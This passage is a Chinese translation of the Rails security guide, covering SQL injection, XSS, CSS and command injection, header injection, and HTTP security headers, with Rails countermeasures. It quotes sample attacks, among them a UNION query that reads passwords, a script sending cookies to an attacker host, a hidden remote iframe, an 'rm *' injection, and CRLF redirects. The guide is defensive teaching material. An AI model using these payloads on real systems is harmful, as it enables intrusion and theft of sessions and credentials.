由於這是一個常見的錯誤,如果提供的正規表示式以 ^ 開頭或以 $ 結尾,格式驗證器 (validates_format_of) 現在會引發例外。如果您確實需要使用 ^ 和 $ 而不是 \A 和 \z(這種情況很少見),您可以將 :multiline 選項設定為 true,就像這樣

# content should include a line "Meanwhile" anywhere in the string
validates :content, format: { with: /^Meanwhile$/, multiline: true }

請注意,這僅能保護您免於使用格式驗證器時最常犯的錯誤 – 您始終需要記住,^ 和 $ 在 Ruby 中會匹配的開頭和行結尾,而不是字串的開頭和結尾。

5.6 權限提升

更改單個參數可能會讓使用者獲得未經授權的存取權限。請記住,每個參數都可能會被更改,無論您如何隱藏或混淆它。

使用者可能篡改的最常見參數是 id 參數,例如 http://www.domain.com/project/1,其中 1 是 id。它將在控制器的參數中可用。在那裡,您很可能會執行類似這樣的操作

@project = Project.find(params[:id])

對於某些網路應用程式來說,這沒問題,但如果使用者未獲授權查看所有專案,則肯定不行。如果使用者將 id 更改為 42,而他們未獲准查看該資訊,他們仍然可以訪問該資訊。相反,也查詢使用者的存取權限

@project = @current_user.projects.find(params[:id])

根據您的網路應用程式,使用者可以篡改的參數會有很多。作為經驗法則,在證明為安全之前,所有使用者輸入數據都不安全,並且來自使用者的每個參數都可能被操縱

不要被混淆安全性(security by obfuscation)和 JavaScript 安全性所愚弄。開發人員工具讓您可以查看和更改每個表單的隱藏欄位。JavaScript 可用於驗證使用者輸入資料,但絕不能阻止攻擊者發送包含意外值的惡意請求。開發人員工具會記錄每個請求,並且可以重複和更改它們。這是一種繞過任何 JavaScript 驗證的簡單方法。甚至還有客戶端代理程式,允許您攔截來自網路或發送到網路的任何請求和回應。

6 注入

注入是一類攻擊,會將惡意程式碼或參數引入網路應用程式中,以便在其安全環境中執行。注入的突出範例包括跨站腳本(XSS)和 SQL 注入。

注入非常棘手,因為相同的程式碼或參數在某種情況下可能是惡意的,但在另一種情況下卻完全無害。情境可以是腳本、查詢或程式語言、shell,或是 Ruby/Rails 方法。以下章節將涵蓋可能發生注入攻擊的所有重要情境。然而,第一節將介紹與注入相關的架構決策。

6.1 允許清單 vs. 限制清單

在清理、保護或驗證某些東西時,請優先選擇允許清單而非限制清單。

限制清單可以是惡意電子郵件地址、非公開操作或惡意 HTML 標籤的列表。這與允許清單相反,允許清單列出的是正確的電子郵件地址、公開操作、正確的 HTML 標籤等等。儘管有時無法建立允許清單(例如在垃圾郵件過濾器中),還是建議優先使用允許清單的方法

  • 對於與安全性相關的操作,請使用 before_action except: [...] 而不是 only: [...]。這樣您就不會忘記為新加入的操作啟用安全性檢查。
  • 允許使用 <strong>,而不是為了防範跨網站指令碼(XSS)而移除 <script>。詳情請參閱下方。
  • 不要嘗試使用限制清單來更正使用者輸入
    • 這會使攻擊成功:"<sc<script>ript>".gsub("<script>", "")
    • 但請拒絕格式錯誤的輸入

允許清單也是一種很好的方法,可以應對人類在限制清單中遺忘某些東西的人為因素。

6.2 SQL 注入

感謝聰明的方法,這在大多數 Rails 應用程式中幾乎不是問題。但是,這是 Web 應用程式中一種非常具破壞性和常見的攻擊,因此了解此問題非常重要。

6.2.1 簡介

SQL 注入攻擊旨在透過操縱 Web 應用程式參數來影響資料庫查詢。SQL 注入攻擊的一個常見目標是繞過授權。另一個目標是執行資料操作或讀取任意資料。以下是一個如何在查詢中不使用使用者輸入資料的範例

Project.where("name = '#{params[:name]}'")

這可能發生在搜尋操作中,使用者可能會輸入他們想要搜尋的專案名稱。如果惡意使用者輸入 ' OR 1) --,則產生的 SQL 查詢將會是

SELECT * FROM projects WHERE (name = '' OR 1) --')

兩個破折號會啟動註解,忽略其後的所有內容。因此,查詢會從專案表格傳回所有記錄,包括對使用者隱藏的記錄。這是因為該條件對所有記錄都成立。

6.2.2 繞過授權

通常,Web 應用程式會包含存取控制。使用者輸入他們的登入憑證,Web 應用程式會嘗試在 users 表格中尋找相符的記錄。當應用程式找到記錄時,就會授予存取權。然而,攻擊者可能會透過 SQL 注入繞過此檢查。以下顯示 Rails 中一個典型的資料庫查詢,用於在 users 表格中尋找與使用者提供的登入憑證參數相符的第一筆記錄。

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

如果攻擊者輸入 ' OR '1'='1 作為名稱,並輸入 ' OR '2'>'1 作為密碼,則產生的 SQL 查詢將會是

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

這將簡單地在資料庫中尋找第一筆記錄,並授予該使用者存取權。

6.2.3 未經授權的讀取

UNION 語句會連接兩個 SQL 查詢,並將資料傳回一個集合中。攻擊者可以使用它從資料庫中讀取任意資料。讓我們以上面的範例為例

Project.where("name = '#{params[:name]}'")

現在讓我們使用 UNION 語句注入另一個查詢

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

這將產生以下 SQL 查詢

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

結果不會是專案列表(因為沒有名稱為空的專案),而是使用者名稱及其密碼的列表。因此,希望您已安全地雜湊了資料庫中的密碼!攻擊者唯一的問題是,兩個查詢中的欄數必須相同。這就是為什麼第二個查詢包含一個 1 的列表(1),它將始終為值 1,以符合第一個查詢中的欄數。

此外,第二個查詢會使用 AS 語句重新命名某些欄,以便 Web 應用程式顯示使用者表格中的值。

6.2.4 應對措施

Ruby on Rails 內建了特殊 SQL 字元的篩選器,它會逸出 '"、NULL 字元和換行符號。使用 Model.find(id)Model.find_by_something(something) 會自動套用此應對措施。但是在 SQL 片段中,尤其是在條件片段(where("..."))、connection.execute()Model.find_by_sql() 方法中,必須手動套用

您可以使用位置處理器來清理受污染的字串,而不是傳遞字串,如下所示

Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

第一個參數是帶有問號的 SQL 片段。第二個和第三個參數會將問號替換為變數的值。

您也可以使用具名處理器,這些值將從所使用的雜湊中取得

values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

此外,您可以分割和串聯適用於您的使用案例的條件

Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

請注意,先前提及的應對措施僅在模型實例中可用。您可以在其他地方嘗試 sanitize_sql請養成在 SQL 中使用外部字串時考慮安全性後果的習慣

6.3 跨網站指令碼 (XSS)

XSS 是 Web 應用程式中最廣泛且最具破壞性的安全漏洞之一。這種惡意攻擊會注入用戶端可執行的程式碼。Rails 提供了輔助方法來防禦這些攻擊。

6.3.1 入口點

入口點是易受攻擊的 URL 及其參數,攻擊者可以在此處開始攻擊。

最常見的入口點是訊息發佈、使用者評論和留言簿,但專案標題、文件名稱和搜尋結果頁面也容易受到攻擊 - 幾乎所有使用者可以輸入資料的地方。但是輸入不一定必須來自網站上的輸入方塊,它可以在任何 URL 參數中 - 明顯的、隱藏的或內部的。請記住,使用者可能會攔截任何流量。應用程式或用戶端 Proxy 可以輕鬆變更請求。還有其他攻擊媒介,例如橫幅廣告。

XSS 攻擊的運作方式如下:攻擊者注入一些程式碼,Web 應用程式會儲存它並將其顯示在頁面上,稍後呈現給受害者。大多數 XSS 範例只是簡單地顯示一個警示方塊,但它的功能更強大。XSS 可以竊取 Cookie、劫持會話、將受害者重新導向到假冒網站、顯示對攻擊者有利的廣告、變更網站上的元素以取得機密資訊,或透過 Web 瀏覽器中的安全漏洞安裝惡意軟體。

在 2007 年下半年,Mozilla 瀏覽器中報告了 88 個漏洞、Safari 中有 22 個、IE 中有 18 個,Opera 中有 12 個。Symantec 全球網際網路安全威脅報告也記錄了 2007 年最後六個月中有 239 個瀏覽器外掛程式漏洞。Mpack 是一個非常活躍且最新的攻擊框架,它會利用這些漏洞。對於犯罪駭客而言,在 Web 應用程式框架中利用 SQL 注入漏洞並在每個文字表格欄中插入惡意程式碼非常有吸引力。在 2008 年 4 月,有超過 510,000 個網站遭到此類駭客攻擊,其中包括英國政府、聯合國和許多其他高知名度目標。

6.3.2 HTML/JavaScript 注入

最常見的 XSS 語言當然是最受歡迎的用戶端腳本語言 JavaScript,通常與 HTML 結合使用。逸出使用者輸入至關重要

以下是最直接的 XSS 檢查測試

<script>alert('Hello');</script>

此 JavaScript 程式碼只會顯示一個警示方塊。下一個範例的功能完全相同,只是在非常不常見的地方

<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">

這些範例到目前為止沒有造成任何危害,因此讓我們看看攻擊者如何竊取使用者的 Cookie(並因此劫持使用者的會話)。在 JavaScript 中,您可以使用 document.cookie 屬性來讀取和寫入文件的 Cookie。JavaScript 會強制執行同源策略,這表示來自一個網域的腳本無法存取另一個網域的 Cookie。document.cookie 屬性會保留來源 Web 伺服器的 Cookie。但是,如果將程式碼直接嵌入 HTML 文件中(就像 XSS 發生時一樣),則可以讀取和寫入此屬性。將此程式碼注入 Web 應用程式中的任何位置,即可在結果頁面上看到自己的 Cookie

<script>document.write(document.cookie);</script>

當然,對於攻擊者而言,這沒有用處,因為受害者會看到自己的 Cookie。下一個範例會嘗試從 URL http://www.attacker.com/ 加 Cookie 載入映像。當然,此 URL 不存在,因此瀏覽器不會顯示任何內容。但是,攻擊者可以檢閱其 Web 伺服器的存取記錄檔,以查看受害者的 Cookie。

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.com 上的記錄檔看起來會像這樣

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

您可以透過將 httpOnly 標記新增至 Cookie 來減輕這些攻擊(以明顯的方式),這樣 JavaScript 就無法讀取 document.cookie。HTTP only Cookie 可從 IE v6.SP1、Firefox v2.0.0.5、Opera 9.5、Safari 4 和 Chrome 1.0.154 開始使用。但是,其他較舊的瀏覽器(例如 WebTV 和 Mac 上的 IE 5.5)實際上可能會導致頁面無法載入。請注意,Cookie 仍然可以使用 Ajax 看見

6.3.2.2 塗改

透過網頁塗改,攻擊者可以做很多事情,例如,呈現虛假資訊或誘騙受害者進入攻擊者的網站以竊取 Cookie、登入憑證或其他敏感資料。最常見的方法是透過 iframe 包含來自外部來源的程式碼

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

這會從外部來源載入任意 HTML 和/或 JavaScript,並將其嵌入為網站的一部分。這個 iframe 取自針對義大利合法網站的真實攻擊,該攻擊使用了 Mpack 攻擊框架。Mpack 試圖透過網頁瀏覽器的安全漏洞安裝惡意軟體,而且非常成功,50% 的攻擊都會成功。

更專業的攻擊可能會覆蓋整個網站,或顯示一個登入表單,該表單看起來與網站的原始表單相同,但會將使用者名稱和密碼傳輸到攻擊者的網站。或者,它可以使用 CSS 和/或 JavaScript 來隱藏網頁應用程式中的合法連結,並在其位置顯示另一個將重定向到假網站的連結。

反射式注入攻擊是指有效負載不會被儲存以供稍後呈現給受害者,而是包含在 URL 中。特別是搜尋表單無法跳脫搜尋字串。以下連結呈現了一個頁面,該頁面聲稱「喬治·布希任命了一名 9 歲的男孩擔任主席......」

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
6.3.2.3 防禦措施

過濾惡意輸入非常重要,但跳脫網頁應用程式的輸出也很重要.

特別是對於 XSS,進行允許輸入過濾而不是限制非常重要。允許清單過濾會列出允許的值,而不是不允許的值。限制清單永遠不會完整。

假設一個限制清單從使用者輸入中刪除 "script"。現在,攻擊者注入 "<scrscriptipt>",經過過濾後,"<script>" 仍然存在。Rails 的早期版本對 strip_tags()strip_links()sanitize() 方法使用了限制清單方法。因此,這種注入是可能的

strip_tags("some<<b>script>alert('hello')<</b>/script>")

這會返回 "some<script>alert('hello')</script>",這會使攻擊奏效。這就是為什麼使用更新的 Rails 2 方法 sanitize() 時,允許清單方法更好。

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

這只允許指定的標籤,並且能很好地處理,即使面對各種技巧和格式不正確的標籤也是如此。

Action View 和 Action Text 都基於 rails-html-sanitizer gem 建構其 sanitization helpers

第二步,跳脫應用程式的所有輸出是很好的做法,特別是在重新顯示尚未進行輸入過濾的使用者輸入時(如先前的搜尋表單範例)。使用 html_escape() (或其別名 h()) 方法將 HTML 輸入字元 &"<> 替換為其在 HTML 中的未解釋表示形式(&amp;&quot;&lt;&gt;)。

6.3.2.4 混淆和編碼注入

網路流量主要基於有限的西方字母,因此出現了新的字元編碼,例如 Unicode,以傳輸其他語言的字元。但是,這對網頁應用程式也是一種威脅,因為惡意程式碼可以隱藏在不同的編碼中,網頁瀏覽器可能可以處理這些編碼,但網頁應用程式可能無法處理。以下是 UTF-8 編碼中的攻擊向量

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

此範例會彈出一個訊息框。它會被上述 sanitize() 過濾器識別。混淆和編碼字串,從而「認識你的敵人」的好工具是 Hackvertor。Rails 的 sanitize() 方法在防禦編碼攻擊方面做得很好。

6.3.3 來自地下的範例

為了了解當今對網頁應用程式的攻擊,最好先看看一些真實的攻擊向量。

以下是摘自 Js.Yamanner@m Yahoo! Mail 蠕蟲。它出現在 2006 年 6 月 11 日,是第一個網頁郵件介面蠕蟲

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

蠕蟲利用了 Yahoo HTML/JavaScript 過濾器中的漏洞,該過濾器通常會過濾掉標籤中的所有目標和 onload 屬性(因為那裡可能會有 JavaScript)。但是,過濾器只會應用一次,因此帶有蠕蟲程式碼的 onload 屬性會保留在原位。這是一個很好的例子,說明為什麼限制清單過濾器永遠不完整,以及為什麼在網頁應用程式中允許 HTML/JavaScript 很困難。

另一個概念驗證網頁郵件蠕蟲是 Nduja,這是一種針對四個義大利網頁郵件服務的跨網域蠕蟲。在 Rosario Valotta 的論文中找到更多詳細資訊。這兩個網頁郵件蠕蟲的目標都是收集電子郵件地址,這是犯罪駭客可以賺錢的方式。

2006 年 12 月,在 MySpace 網路釣魚攻擊中,34,000 個實際使用者名稱和密碼被盜。這次攻擊的想法是建立一個名為「login_home_index_html」的個人資料頁面,因此 URL 看起來非常令人信服。經過特殊設計的 HTML 和 CSS 用於隱藏頁面上的真實 MySpace 內容,而是顯示其自己的登入表單。

6.4 CSS 注入

CSS 注入實際上是 JavaScript 注入,因為某些瀏覽器(IE、某些版本的 Safari 和其他瀏覽器)允許在 CSS 中使用 JavaScript。請三思而後行是否要在網頁應用程式中允許自訂 CSS。

CSS 注入的最佳解釋是著名的 MySpace Samy 蠕蟲。這個蠕蟲只需瀏覽他的個人資料,就會自動向 Samy(攻擊者)發送好友請求。在幾個小時內,他收到了超過 100 萬個好友請求,這產生了如此多的流量,以至於 MySpace 離線了。以下是該蠕蟲的技術說明。

MySpace 阻止了許多標籤,但允許 CSS。因此,蠕蟲的作者將 JavaScript 放入 CSS 中,如下所示

<div style="background:url('javascript:alert(1)')">

因此,有效負載位於 style 屬性中。但是,有效負載中不允許使用引號,因為單引號和雙引號已經被使用。但是,JavaScript 有一個方便的 eval() 函數,它會將任何字串作為程式碼執行。

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

對於限制清單輸入過濾器而言,eval() 函數是一個噩夢,因為它允許 style 屬性隱藏單字「innerHTML」

alert(eval('document.body.inne' + 'rHTML'));

下一個問題是 MySpace 過濾單字 "javascript",因此作者使用了 "java<NEWLINE>script" 來規避此問題

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

蠕蟲作者的另一個問題是 CSRF 安全權杖。沒有它們,他無法透過 POST 發送好友請求。他透過在新增使用者之前立即向頁面發送 GET 並解析結果以取得 CSRF 權杖來解決這個問題。

最後,他得到了一個 4 KB 的蠕蟲,他將其注入到他的個人資料頁面中。

moz-binding CSS 屬性證明是在基於 Gecko 的瀏覽器(例如 Firefox)中在 CSS 中引入 JavaScript 的另一種方法。

6.4.1 防禦措施

這個例子再次表明,限制清單過濾器永遠不完整。但是,由於網頁應用程式中的自訂 CSS 是一個相當罕見的功能,因此可能很難找到一個好的允許 CSS 過濾器。如果您想允許自訂顏色或圖像,您可以讓使用者選擇它們,並在網頁應用程式中建構 CSS。如果您真的需要,請將 Rails 的 sanitize() 方法用作允許 CSS 過濾器的模型。

6.5 Textile 注入

如果您想提供 HTML 以外的文字格式(由於安全性),請使用在伺服器端轉換為 HTML 的標記語言。RedCloth 是 Ruby 的一種語言,但如果不採取預防措施,它也容易受到 XSS 的攻擊。

例如,RedCloth 會將 _test_ 轉換為 <em>test<em>,這會使文字變成斜體。但是,RedCloth 預設不會過濾不安全的 html 標籤

RedCloth.new("<script>alert(1)</script>").to_html
# => "<script>alert(1)</script>"

使用 :filter_html 選項來移除非 Textile 處理器建立的 HTML。

RedCloth.new("<script>alert(1)</script>", [:filter_html]).to_html
# => "alert(1)"

但是,這並不會過濾所有 HTML,會留下一些標籤(依設計),例如 <a>

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

6.5.1 防禦措施

建議將 RedCloth 與允許輸入過濾器結合使用,如針對 XSS 部分的防禦措施中所述。

6.6 Ajax 注入

對於 Ajax 動作,必須採取與「一般」動作相同的安全預防措施。但是,至少有一個例外:如果動作未呈現視圖,則必須在控制器中跳脫輸出。

如果您使用 in_place_editor 外掛,或傳回字串而非呈現視圖的動作,則必須在動作中跳脫傳回值。否則,如果傳回值包含 XSS 字串,則在傳回到瀏覽器後將會執行惡意程式碼。使用 h() 方法跳脫任何輸入值。

6.7 命令列注入

請謹慎使用使用者提供的命令列參數。

如果您的應用程式必須在底層作業系統中執行命令,Ruby 中有幾種方法:system(command)exec(command)spawn(command)`command`。如果使用者可以輸入整個命令或其中的一部分,您必須特別小心這些函數。這是因為在大多數 shell 中,您可以在第一個命令的末尾執行另一個命令,並使用分號 (;) 或垂直線 (|) 將它們串連起來。

user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory

一種防禦措施是使用 system(command, parameters) 方法安全地傳遞命令列參數

system("/bin/echo", "hello; rm *")
# prints "hello; rm *" and does not delete files

6.7.1 Kernel#open 的漏洞

如果引數以垂直線 (|) 開頭,Kernel#open 會執行作業系統命令。

open("| ls") { |file| file.read }
# returns file list as a String via `ls` command

防禦措施是使用 File.openIO.openURI#open 來代替。它們不會執行作業系統命令。

File.open("| ls") { |file| file.read }
# doesn't execute `ls` command, just opens `| ls` file if it exists

IO.open(0) { |file| file.read }
# opens stdin. doesn't accept a String as the argument

require "open-uri"
URI("https://example.com").open { |file| file.read }
# opens the URI. `URI()` doesn't accept `| ls`

6.8 標頭注入

HTTP 標頭是動態產生的,在某些情況下,可以注入使用者輸入。這可能會導致錯誤的重定向、XSS 或 HTTP 回應分割。

HTTP 請求標頭具有 Referer、User-Agent(用戶端軟體)和 Cookie 欄位等。回應標頭例如具有狀態碼、Cookie 和 Location(重定向目標 URL)欄位。它們都是使用者提供的,並且可以或多或少地透過努力進行操縱。請記住也要跳脫這些標頭欄位。例如,當您在管理區域中顯示使用者代理程式時。

除此之外,在部分基於使用者輸入建構回應標頭時,了解自己在做什麼非常重要。例如,您想將使用者重新導向到特定頁面。為此,您在表單中引入了一個「referer」欄位,以重定向到給定的位址

redirect_to params[:referer]

發生的是 Rails 將字串放入 Location 標頭欄位,並向瀏覽器發送 302(重定向)狀態。惡意使用者會做的第一件事是這樣

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

由於(Ruby 和)Rails 直到 2.1.2 版本(不包含此版本)存在一個錯誤,駭客可能會注入任意的標頭欄位;例如像這樣:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

請注意,%0d%0a\r\n 的 URL 編碼,在 Ruby 中代表換行和換行符號(CRLF)。因此,第二個範例產生的 HTTP 標頭會如下所示,因為第二個 Location 標頭欄位會覆寫第一個。

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

因此,標頭注入的攻擊媒介是基於在標頭欄位中注入 CRLF 字元。 而攻擊者可以利用錯誤的重新導向做什麼呢?他們可以重新導向到一個看起來與你的網站相同的釣魚網站,但要求再次登入(並將登入憑證發送給攻擊者)。或者,他們可以透過該網站上的瀏覽器安全漏洞安裝惡意軟體。Rails 2.1.2 會針對 redirect_to 方法中的 Location 欄位跳脫這些字元。當您使用使用者輸入建立其他標頭欄位時,請務必自行執行此操作。

6.8.1 DNS 重新綁定和 Host 標頭攻擊

DNS 重新綁定是一種操縱網域名稱解析的方法,通常被用作電腦攻擊的一種形式。DNS 重新綁定透過濫用網域名稱系統 (DNS) 來規避同源策略。它會將網域重新綁定到不同的 IP 位址,然後透過從更改後的 IP 位址對您的 Rails 應用程式執行隨機程式碼來入侵系統。

建議使用 ActionDispatch::HostAuthorization 中介軟體來防範 DNS 重新綁定和其他 Host 標頭攻擊。它在開發環境中預設啟用,您必須在生產環境和其他環境中設定允許的主機清單來啟用它。您還可以設定例外狀況並設定您自己的回應應用程式。

Rails.application.config.hosts << "product.com"

Rails.application.config.host_authorization = {
  # Exclude requests for the /healthcheck/ path from host checking
  exclude: ->(request) { request.path.include?("healthcheck") },
  # Add custom Rack application for the response
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}

您可以在 ActionDispatch::HostAuthorization 中介軟體文件 中閱讀更多相關資訊

6.8.2 回應分割

如果可能進行標頭注入,也可能發生回應分割。在 HTTP 中,標頭區塊後跟兩個 CRLF 和實際資料(通常是 HTML)。回應分割的概念是在標頭欄位中注入兩個 CRLF,後跟另一個包含惡意 HTML 的回應。回應將會是:

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitrary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

在某些情況下,這會向受害者呈現惡意 HTML。但是,這似乎只適用於 Keep-Alive 連線(而且許多瀏覽器都使用一次性連線)。但您不能依賴這一點。無論如何,這是一個嚴重的錯誤,您應該將您的 Rails 更新到 2.0.5 或 2.1.2 版本,以消除標頭注入(以及因此造成的回應分割)風險。

7 不安全的查詢產生

由於 Active Record 解釋參數的方式與 Rack 解析查詢參數的方式相結合,因此有可能使用 IS NULL where 子句發出意料之外的資料庫查詢。針對該安全問題(CVE-2012-2660CVE-2012-2694CVE-2013-0155),引入了 deep_munge 方法作為解決方案,以預設保持 Rails 的安全性。

如果沒有執行 deep_munge,則攻擊者可能會使用易受攻擊的程式碼範例:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

params[:token] 是下列其中之一時:[nil][nil, nil, ...]['foo', nil],它會繞過 nil 的測試,但 IS NULLIN ('foo', NULL) where 子句仍然會被加入到 SQL 查詢中。

為了預設保持 Rails 的安全性,deep_munge 會將某些值替換為 nil。下表顯示根據要求中傳送的 JSON,參數的外觀為何:

JSON 參數
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

如果您了解風險並且知道如何處理,可以恢復到舊的行為並停用 deep_munge 來設定您的應用程式。

config.action_dispatch.perform_deep_munge = false

8 HTTP 安全標頭

為了提高應用程式的安全性,可以將 Rails 設定為傳回 HTTP 安全標頭。某些標頭是預設設定的;其他則需要明確設定。

8.1 預設安全標頭

預設情況下,Rails 設定為傳回下列回應標頭。您的應用程式會針對每個 HTTP 回應傳回這些標頭。

8.1.1 X-Frame-Options

X-Frame-Options 標頭指示瀏覽器是否可以在 <frame><iframe><embed><object> 標籤中呈現頁面。此標頭預設設定為 SAMEORIGIN,僅允許在相同網域上進行框架化。將其設定為 DENY 以完全拒絕框架化,或者如果您想要允許在所有網域上進行框架化,則完全移除此標頭。

8.1.2 X-XSS-Protection

一個 已棄用的舊版標頭,在 Rails 中預設設定為 0,以停用有問題的舊版 XSS 稽核工具。

8.1.3 X-Content-Type-Options

X-Content-Type-Options 標頭在 Rails 中預設設定為 nosniff。它可以防止瀏覽器猜測檔案的 MIME 類型。

8.1.4 X-Permitted-Cross-Domain-Policies

此標頭在 Rails 中預設設定為 none。它不允許 Adobe Flash 和 PDF 用戶端將您的頁面嵌入到其他網域中。

8.1.5 Referrer-Policy

Referrer-Policy 標頭在 Rails 中預設設定為 strict-origin-when-cross-origin。對於跨來源要求,這只會在 Referer 標頭中傳送來源。這樣可以防止洩漏可能從完整 URL 的其他部分(例如路徑和查詢字串)存取的私人資料。

8.1.6 設定預設標頭

這些標頭預設設定如下:

config.action_dispatch.default_headers = {
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "0",
  "X-Content-Type-Options" => "nosniff",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}

您可以在 config/application.rb 中覆寫這些標頭或新增額外的標頭:

config.action_dispatch.default_headers["X-Frame-Options"] = "DENY"
config.action_dispatch.default_headers["Header-Name"]     = "Value"

或者您可以移除它們:

config.action_dispatch.default_headers.clear

8.2 Strict-Transport-Security 標頭

HTTP Strict-Transport-Security (HSTS) 回應標頭可確保瀏覽器自動將目前和未來的連線升級到 HTTPS。

當啟用 force_ssl 選項時,標頭會新增至回應中:

config.force_ssl = true

8.3 Content-Security-Policy 標頭

為了協助防範 XSS 和注入攻擊,建議為您的應用程式定義 Content-Security-Policy 回應標頭。Rails 提供 DSL,可讓您設定標頭。

在適當的初始化程式中定義安全策略:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # Specify URI for violation reports
  policy.report_uri "/csp-violation-report-endpoint"
end

全域設定的策略可以依據每個資源覆寫:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true
    policy.base_uri "https://www.example.com"
  end
end

或者可以停用它:

class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

使用 lambda 來注入每個要求的值,例如多租戶應用程式中的帳戶子網域:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end

8.3.1 回報違規行為

啟用 report-uri 指令,以將違規行為回報給指定的 URI:

Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"
end

在移轉舊內容時,您可能想要在不強制執行策略的情況下回報違規行為。設定 Content-Security-Policy-Report-Only 回應標頭,以僅回報違規行為:

Rails.application.config.content_security_policy_report_only = true

或者在控制器中覆寫它:

class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

8.3.2 新增 Nonce

如果您考慮使用 'unsafe-inline',請考慮改用 nonce。當在現有程式碼之上實作內容安全策略時,Nonce 提供了比 'unsafe-inline' 更顯著的改進。

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

設定 nonce 產生器時,需要考慮一些權衡。使用 SecureRandom.base64(16) 是一個很好的預設值,因為它會為每個要求產生一個新的隨機 nonce。但是,此方法與條件式 GET 快取不相容,因為新的 nonce 會導致每個要求產生新的 ETag 值。每個要求的隨機 nonce 的替代方案是使用會話 ID:

Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }

這種產生方法與 ETag 相容,但是其安全性取決於會話 ID 是否具有足夠的隨機性,並且不會在不安全的 Cookie 中公開。

預設情況下,如果定義了 nonce 產生器,nonce 將會套用至 script-srcstyle-srcconfig.content_security_policy_nonce_directives 可以用來變更哪些指令會使用 nonce:

Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

在初始化程式中設定 nonce 產生之後,可以將自動 nonce 值新增至 script 標籤,方法是在 html_options 中傳遞 nonce: true

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

相同的做法也適用於 javascript_include_tagstylesheet_link_tag

<%= javascript_include_tag "script", nonce: true %>
<%= stylesheet_link_tag "style.css", nonce: true %>

使用 csp_meta_tag 輔助程式建立一個具有每個會話 nonce 值的 meta 標籤 "csp-nonce",以允許行內 <script> 標籤。

<head>
  <%= csp_meta_tag %>
</head>

Rails UJS 輔助程式會使用它來建立動態載入的行內 <script> 元素。

8.4 Feature-Policy 標頭

Feature-Policy 標頭已重新命名為 Permissions-PolicyPermissions-Policy 需要不同的實作,且並非所有瀏覽器都支援。為了避免日後必須重新命名此中介軟體,我們對中介軟體使用新名稱,但目前仍保留舊的標頭名稱和實作。

若要允許或封鎖瀏覽器功能的使用,您可以為您的應用程式定義 Feature-Policy 回應標頭。Rails 提供 DSL,可讓您設定標頭。

在適當的初始化程式中定義策略:

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none
  policy.gyroscope   :none
  policy.microphone  :none
  policy.usb         :none
  policy.fullscreen  :self
  policy.payment     :self, "https://secure.example.com"
end

